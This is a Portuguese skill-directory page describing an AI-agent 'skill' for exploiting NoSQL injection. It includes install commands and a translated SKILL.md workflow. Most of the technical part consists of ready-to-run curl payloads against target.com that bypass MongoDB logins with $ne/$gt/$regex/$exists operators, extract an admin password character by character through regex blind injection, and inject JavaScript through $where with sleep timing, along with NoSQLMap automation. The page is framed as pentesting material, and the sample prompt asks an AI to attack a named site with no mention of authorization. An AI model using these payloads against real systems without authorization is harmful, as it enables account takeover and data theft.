Pular para o conteúdo
Skillpedia
Diversos35 mil · #5754

exploiting-nosql-injection-vulnerabilities

Ajuda seu agente a detectar e explorar vulnerabilidades de injeção NoSQL em bancos de dados como MongoDB.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em bancos de dados NoSQL, como MongoDB. Ela permite testar se é possível acessar informações ou contornar logins sem permissão.

Quando usar

  • ✓Ao testar a segurança de sites que usam bancos de dados NoSQL.
  • ✓Quando você quer verificar se um sistema de login pode ser enganado.
  • ✓Ao analisar APIs que recebem dados em formato JSON para consultas.

Exemplo do que pedir para a IA

“Tente encontrar falhas de segurança no site exemplo.com usando o banco de dados MongoDB.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia comandos especialmente criados para o banco de dados, explorando como ele interpreta certas instruções. Isso pode revelar se o sistema está vulnerável a acessos não autorizados ou vazamento de dados.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Injeção NoSQL

Quando Usar

  • Durante testes de penetração em aplicações web que utilizam bancos de dados NoSQL
  • Ao testar mecanismos de autenticação suportados por MongoDB ou bancos de dados similares
  • Ao avaliar APIs que aceitam entrada JSON para consultas ao banco de dados
  • Durante a caça a bugs em aplicações com backends NoSQL
  • Ao realizar revisão de código de segurança na construção de consultas ao banco de dados

Pré-requisitos

  • Burp Suite Professional ou Community Edition com suporte a JSON
  • Ferramenta NoSQLMap instalada (pip install nosqlmap ou do GitHub)
  • Compreensão dos operadores de consulta do MongoDB ($ne, $gt, $regex, $where, $exists)
  • Aplicação alvo utilizando um banco de dados NoSQL (MongoDB, CouchDB, Cassandra)
  • Proxy configurado para interceptação de tráfego HTTP
  • Python 3.x para scripts de payload personalizados

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Injeção NoSQL

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Passo 2 — Realizar Bypass de Autenticação

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Passo 3 — Extrair Dados Usando Injeção Cega Baseada em Booleano

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Passo 4 — Explorar Injeção de JavaScript via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Passo 5 — Usar NoSQLMap para Testes Automatizados

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Passo 6 — Testar Injeção de Parâmetros de URL

# Injeção baseada em parâmetros (requisições GET)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Injeção de array via parâmetros de URL
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Injetar via cabeçalhos HTTP se processados pelo backend

…
Perguntas frequentes

O que são bancos de dados NoSQL?

São bancos de dados que armazenam informações de forma flexível, diferente dos bancos de dados tradicionais. Exemplos comuns são MongoDB e CouchDB.

O que é 'injeção NoSQL'?

É um tipo de ataque onde um invasor insere comandos maliciosos nos dados enviados ao banco de dados para obter acesso indevido ou extrair informações.

Preciso saber programar para usar isso?

É útil ter algum conhecimento sobre como os bancos de dados funcionam e sobre os comandos que eles entendem, mas a ferramenta automatiza muitas das etapas complexas.

Detalhes

Descrição original do autor

Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5754
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas